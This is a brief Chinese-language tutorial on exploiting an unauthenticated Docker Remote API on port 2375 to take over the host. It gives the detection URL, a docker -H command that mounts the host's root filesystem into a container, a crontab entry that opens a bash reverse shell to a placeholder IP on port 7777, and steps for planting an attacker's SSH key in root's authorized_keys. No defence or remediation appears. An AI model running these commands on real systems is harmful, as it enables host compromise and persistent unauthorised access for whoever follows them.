云环境下docker api未授权利用

漏洞简介

docker remote API未授权访问漏洞，此API主要目的是取代命令执行页面，开放2375监听容器时，会调用这个API。方便docker集群管理和扩展

漏洞检测

直接输入地址 http://your-ip:2375/version ；若能访问，证明存在未授权访问漏洞。

漏洞利用

可以通过写入宿主机定时任务或者写入公钥进行利用。

写入定时任务

1）查看宿主机上存在的镜像

2）启动一个busybox镜像，并且将宿主机的根目录挂载到镜像中的/mnt目录

docker -H tcp://10.100.6.114:2375 run -it -v /:/mnt beae173ccac6 /bin/sh

运行以后可以得到这个容器的shell

3）写入定时任务

在/etc/crontab中写入定时任务，注意在/etc/crontab中写定时任务时要有用户字段，不然会报错

* * * * * root /bin/bash -i >& /dev/tcp/IP/7777 0>&1

不写用户字段会报下面的错误

May 7 17:50:01 master crond[1098]: (*system*) RELOAD (/etc/crontab) May 7 17:50:01 master crond[1098]: (/bin/sh) ERROR (getpwnam() failed)

结果验证

如下成功获取到shell

写入ssh公钥获取shell

首先在攻击机上生成公私钥对

>>ssh-keygen -t rsa >>输入密钥名 >>输入密码

查看并复制服务器公钥，然后将该公钥复制到/mnt/root/.ssh/authorized_keys中。

然后就可以直接通过ssh进行登录